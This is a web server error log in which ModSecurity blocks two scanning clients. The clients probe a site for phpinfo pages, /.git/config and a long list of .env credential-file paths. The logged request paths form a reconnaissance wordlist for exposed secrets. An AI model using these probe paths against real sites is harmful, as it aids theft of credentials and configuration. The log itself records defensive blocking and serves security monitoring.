[Sat May 09 01:24:10.465388 2026] [:error] [pid 51113:tid 51132] [client 18.140.197.47:37908] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/debug.php"] [unique_id "af4cOkQfs7sWtqkpQIeZ3wAAANE"]
[Sat May 09 01:24:13.194884 2026] [:error] [pid 51009:tid 51095] [client 18.140.197.47:37956] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/phpinfo.php"] [unique_id "af4cPeB0GbUWhxgzX9WN8wAAAJM"]
[Sat May 09 01:24:14.781146 2026] [:error] [pid 61356:tid 61406] [client 18.140.197.47:38012] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test/phpinfo.php"] [unique_id "af4cPox3vpB8oWhUq2MjHAAAAdI"]
[Sat May 09 01:24:15.640514 2026] [:error] [pid 51009:tid 51083] [client 18.140.197.47:38072] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dev/phpinfo.php"] [unique_id "af4cP-B0GbUWhxgzX9WN_gAAAIc"]
[Sat May 09 01:24:16.620321 2026] [:error] [pid 61355:tid 61372] [client 18.140.197.47:38130] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/old/phpinfo.php"] [unique_id "af4cQPkhJTi30CBXmMkpXwAAAYs"]
[Sat May 09 01:24:17.269960 2026] [:error] [pid 61355:tid 61385] [client 18.140.197.47:38210] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tmp/phpinfo.php"] [unique_id "af4cQfkhJTi30CBXmMkpaAAAAZg"]
[Sat May 09 01:24:17.920531 2026] [:error] [pid 61317:tid 61324] [client 18.140.197.47:53254] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/phpinfo.php"] [unique_id "af4cQc-fFk_CedOCOYsJRgAAAUQ"]
[Sat May 09 01:24:18.741600 2026] [:error] [pid 51008:tid 51054] [client 18.140.197.47:53296] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/info"] [unique_id "af4cQnB58C2Y1tgLtuLYiQAAAEU"]
[Sat May 09 01:24:20.434151 2026] [:error] [pid 51009:tid 51099] [client 18.140.197.47:53334] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/php-info.php"] [unique_id "af4cROB0GbUWhxgzX9WOEwAAAJc"]
[Sat May 09 01:24:21.880317 2026] [:error] [pid 51009:tid 51088] [client 18.140.197.47:53386] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/phpversion.php"] [unique_id "af4cReB0GbUWhxgzX9WOGQAAAIw"]
[Sat May 09 01:24:22.751738 2026] [:error] [pid 61355:tid 61374] [client 18.140.197.47:53422] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/_phpinfo.php"] [unique_id "af4cRvkhJTi30CBXmMkpegAAAY0"]
[Sat May 09 01:24:23.554164 2026] [:error] [pid 61356:tid 61403] [client 18.140.197.47:53494] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/old_phpinfo.php"] [unique_id "af4cR4x3vpB8oWhUq2MjPQAAAc8"]
[Sat May 09 01:24:24.228944 2026] [:error] [pid 51008:tid 51063] [client 18.140.197.47:53544] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/server-info.php"] [unique_id "af4cSHB58C2Y1tgLtuLYlwAAAE4"]
[Sat May 09 01:24:25.027530 2026] [:error] [pid 61355:tid 61373] [client 18.140.197.47:53610] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/server-status.php"] [unique_id "af4cSfkhJTi30CBXmMkphAAAAYw"]
[Sat May 09 01:24:26.236931 2026] [:error] [pid 61355:tid 61362] [client 18.140.197.47:53676] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/_profiler/phpinfo"] [unique_id "af4cSvkhJTi30CBXmMkpkgAAAYE"]
[Sat May 09 01:24:26.946145 2026] [:error] [pid 61317:tid 61329] [client 18.140.197.47:53740] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/_environment"] [unique_id "af4cSs-fFk_CedOCOYsJWgAAAUk"]
[Sat May 09 01:24:27.623463 2026] [:error] [pid 61356:tid 61399] [client 18.140.197.47:35262] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/webroot/index.php/_environment"] [unique_id "af4cS4x3vpB8oWhUq2MjSgAAAcs"]
[Sat May 09 01:24:28.319476 2026] [:error] [pid 61356:tid 61391] [client 18.140.197.47:35290] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mail/phpinfo.php"] [unique_id "af4cTIx3vpB8oWhUq2MjVAAAAcM"]
[Sat May 09 01:24:28.888025 2026] [:error] [pid 61356:tid 61403] [client 18.140.197.47:35340] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cpanel/phpinfo.php"] [unique_id "af4cTIx3vpB8oWhUq2MjXwAAAc8"]
[Sat May 09 01:24:29.549518 2026] [:error] [pid 61356:tid 61391] [client 18.140.197.47:35408] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hosting/phpinfo.php"] [unique_id "af4cTYx3vpB8oWhUq2MjZwAAAcM"]
[Sat May 09 01:24:30.183979 2026] [:error] [pid 51009:tid 51096] [client 18.140.197.47:35460] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/webmail/phpinfo.php"] [unique_id "af4cTuB0GbUWhxgzX9WOLQAAAJQ"]
[Sat May 09 01:24:30.789190 2026] [:error] [pid 51008:tid 51051] [client 18.140.197.47:35498] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/smtp/phpinfo.php"] [unique_id "af4cTnB58C2Y1tgLtuLYnwAAAEI"]
[Sat May 09 01:24:31.519051 2026] [:error] [pid 34318:tid 34335] [client 18.140.197.47:35540] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/phpinfo.php.bak"] [unique_id "af4cT8r3guirgJiKhzACEwAAAQ8"]
[Sat May 09 01:24:32.165891 2026] [:error] [pid 51008:tid 51069] [client 18.140.197.47:35616] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/phpinfo.php.old"] [unique_id "af4cUHB58C2Y1tgLtuLYqAAAAFQ"]
[Sat May 09 01:24:32.770317 2026] [:error] [pid 51007:tid 51023] [client 18.140.197.47:35648] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/phpinfo.php~"] [unique_id "af4cUFMagSGstWKyzzUY0gAAAAE"]
[Sat May 09 01:24:33.636489 2026] [:error] [pid 34318:tid 34324] [client 18.140.197.47:35694] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/info.php.bak"] [unique_id "af4cUcr3guirgJiKhzACFwAAAQQ"]
[Sat May 09 01:24:34.358173 2026] [:error] [pid 61355:tid 61366] [client 18.140.197.47:35756] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/phpinfo.php.save"] [unique_id "af4cUvkhJTi30CBXmMkpqwAAAYU"]
[Sat May 09 01:24:35.247689 2026] [:error] [pid 34318:tid 34328] [client 18.140.197.47:35820] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/staging/phpinfo.php"] [unique_id "af4cU8r3guirgJiKhzACHAAAAQg"]
[Sat May 09 01:24:36.376604 2026] [:error] [pid 61355:tid 61383] [client 18.140.197.47:35880] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/beta/phpinfo.php"] [unique_id "af4cVPkhJTi30CBXmMkptgAAAZY"]
[Sat May 09 01:24:37.120096 2026] [:error] [pid 51113:tid 51118] [client 18.140.197.47:35958] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uat/phpinfo.php"] [unique_id "af4cVUQfs7sWtqkpQIeZ_gAAAMM"]
[Sat May 09 01:24:37.975654 2026] [:error] [pid 61356:tid 61389] [client 18.140.197.47:35166] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/qa/phpinfo.php"] [unique_id "af4cVYx3vpB8oWhUq2MjgAAAAcE"]
[Sat May 09 01:24:38.747502 2026] [:error] [pid 61356:tid 61396] [client 18.140.197.47:35240] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/preview/phpinfo.php"] [unique_id "af4cVox3vpB8oWhUq2MjhgAAAcg"]
[Sat May 09 01:24:39.341752 2026] [:error] [pid 34318:tid 34321] [client 18.140.197.47:35298] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/www/phpinfo.php"] [unique_id "af4cV8r3guirgJiKhzACKQAAAQE"]
[Sat May 09 01:24:40.007044 2026] [:error] [pid 34318:tid 34336] [client 18.140.197.47:35342] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/htdocs/phpinfo.php"] [unique_id "af4cWMr3guirgJiKhzACNAAAARA"]
[Sat May 09 01:24:43.591345 2026] [:error] [pid 51007:tid 51039] [client 18.140.197.47:35398] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public_html/phpinfo.php"] [unique_id "af4cW1MagSGstWKyzzUY5QAAABE"]
[Sat May 09 01:24:44.470592 2026] [:error] [pid 61356:tid 61407] [client 18.140.197.47:35444] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/site/phpinfo.php"] [unique_id "af4cXIx3vpB8oWhUq2MjiwAAAdM"]
[Sat May 09 01:24:45.357733 2026] [:error] [pid 61317:tid 61335] [client 18.140.197.47:35474] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/docs/phpinfo.php"] [unique_id "af4cXc-fFk_CedOCOYsJcAAAAU8"]
[Sat May 09 01:24:46.141893 2026] [:error] [pid 61317:tid 61332] [client 18.140.197.47:35518] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/phpinfo.php"] [unique_id "af4cXs-fFk_CedOCOYsJcgAAAUw"]
[Sat May 09 01:24:46.836712 2026] [:error] [pid 61355:tid 61385] [client 18.140.197.47:35564] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/administrator/phpinfo.php"] [unique_id "af4cXvkhJTi30CBXmMkpwAAAAZg"]
[Sat May 09 01:24:47.508651 2026] [:error] [pid 51008:tid 51069] [client 18.140.197.47:35580] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/core/phpinfo.php"] [unique_id "af4cX3B58C2Y1tgLtuLYywAAAFQ"]
[Sat May 09 01:24:48.457834 2026] [:error] [pid 51008:tid 51072] [client 18.140.197.47:46996] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/includes/phpinfo.php"] [unique_id "af4cYHB58C2Y1tgLtuLYzwAAAFc"]
[Sat May 09 02:26:09.579762 2026] [:error] [pid 51009:tid 51097] [client 3.15.179.172:41908] [client 3.15.179.172] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "af4qweB0GbUWhxgzX9WmlgAAAJU"]
[Sat May 09 02:26:10.773052 2026] [:error] [pid 61317:tid 61322] [client 3.15.179.172:41956] [client 3.15.179.172] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env/.env.local/.env.production/.env.staging/.env.development/.env.test/.env.remote/.env.bak/.env.backup/.env.save/.env.old/.env.sample/.env.example/.env.dev/.env.prod/.env.stage/.env.ci/.env.docker/.env.live/.env.preprod/.env.uat/.env.dist/.env.swp/.env~/.env1/.env2/.env_copy/.env.txt/.env.json/.env.yaml/.env.yml/app/.env/apps/.env/api/.env/web/.env/site/.env/public/.env/admin/.env/backend/.env/server/.env/frontend/.env/src/.env/core/.env/core/app/.env/config/.env/private/.env/application/.env/bootstrap/.env/database/.env/storage/.env/var/www/.env/var/www/html/.env/current/.env/release/.env/releases/.env/shared/.env/deploy/.env/build/.env/dist/.env/public_html/.env/htdocs/.env/www/.env/html/.env/live/.env/prod/.env/dev/.env/staging/.env/opt/.env/laravel/.env/symfony/.env/wordpress/.env/wp/.env/cms/.env/drupal/.env/joomla/.env/magento/.env/shopify/.env/prestashop/.env/codeigniter/.env/cakephp/.env/zend/.env/yii/.env/laravel5/.env/v1/.env/v2/.env/v3/.env/api/v1/.env/api/v2/.env/rest/.env/graphql/.env/gateway/.env/microservice/.env/service/.env/api/v3/.env/api/dev/.env/api/staging/.env/vendor/.env/lib/.env/resources/.env/assets/.env/uploads/.env/internal/.env/tools/.env/scripts/.env/bin/.env/sbin/.env/local/.env/portal/.env/dashboard/.env/panel/.env/crm/.env/erp/.env/shop/.env/store/.env/saas/.env/client/.env/project/.env/admin-panel/.env/control-panel/.env/user-panel/.env/node/.env/express/.env/next/.env/nuxt/.env/nest/.env/react/.env/vue/.env/angular/.env/svelte/.env/vite/.env/backup/.env/backups/.env/old/.env/tmp/.env/temp/.env/lab/.env/cronlab/.env/cron/.env/en/.env/administrator/.env/psnlink/.env/exapi/.env/sitemaps/.env/.env.backup1/.env.backup2/logs/.env/cache/.env/mailer/.env/mail/.env/email/.env/smtp/.env/mailing/.env/notifications/.env/notify/.env/sender/.env/campaign/.env/newsletter/.env/ses/.env/sendgrid/.env/sparkpost/.env/postmark/.env/mailgun/.env/mandrill/.env/mailjet/.env/brevo/.env/transactional/.env/bulk/.env/aws/.env/azure/.env/gcp/.env/cloud/.env/infrastructure/.env/docker/.env/k8s/.env/kubernetes/.env/terraform/.env/ansible/.env/.git/.env/ci/.env/cd/.env/jenkins/.env/gitlab/.env/github/.env/actions/.env/circleci/.env/travis/.env/buildkite/.env/mysql/.env/postgres/.env/mongodb/.env/redis/.env/elasticsearch/.env/rabbitmq/.env/kafka/.env/queue/.env/worker/.env/job/.env/test/.env/qa/.env/preview/.env/beta/.env/uat/.env/stage/.env/development/.env/production/.env/config/app/.env"] [unique_id "af4qws-fFk_CedOCOYsb3QAAAUI"]
[Sat May 09 02:26:11.705010 2026] [:error] [pid 51007:tid 51031] [client 3.15.179.172:42006] File does not exist: /usr/local/apache/htdocs/suspended-page/phpinfo.php
[Sat May 09 02:26:11.922416 2026] [:error] [pid 51007:tid 51034] [client 3.15.179.172:42006] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php
[Sat May 09 02:26:12.140540 2026] [:error] [pid 51007:tid 51038] [client 3.15.179.172:42006] File does not exist: /usr/local/apache/htdocs/suspended-page/php.php
[Sat May 09 02:26:12.363764 2026] [:error] [pid 51007:tid 51040] [client 3.15.179.172:42006] File does not exist: /usr/local/apache/htdocs/suspended-page/i.php
[Sat May 09 02:26:12.620221 2026] [:error] [pid 51007:tid 51037] [client 3.15.179.172:42006] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/pi.php"] [unique_id "af4qxFMagSGstWKyzzUljwAAAA8"]
[Sat May 09 02:26:13.630410 2026] [:error] [pid 61356:tid 61397] [client 3.15.179.172:42048] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/pinfo.php"] [unique_id "af4qxYx3vpB8oWhUq2NEIgAAAck"]
[Sat May 09 02:26:14.601679 2026] [:error] [pid 61355:tid 61374] [client 3.15.179.172:42102] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/test.php"] [unique_id "af4qxvkhJTi30CBXmMlZwAAAAY0"]
[Sat May 09 02:26:15.557342 2026] [:error] [pid 51113:tid 51137] [client 3.15.179.172:42170] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/phpinfo"] [unique_id "af4qx0Qfs7sWtqkpQIeh5QAAANY"]
[Sat May 09 02:26:16.558289 2026] [:error] [pid 61355:tid 61371] [client 3.15.179.172:42238] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "af4qyPkhJTi30CBXmMlZxgAAAYo"]
[Sat May 09 02:26:17.459140 2026] [:error] [pid 34318:tid 34327] [client 3.15.179.172:34328] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/debug.php"] [unique_id "af4qycr3guirgJiKhzAMzQAAAQc"]
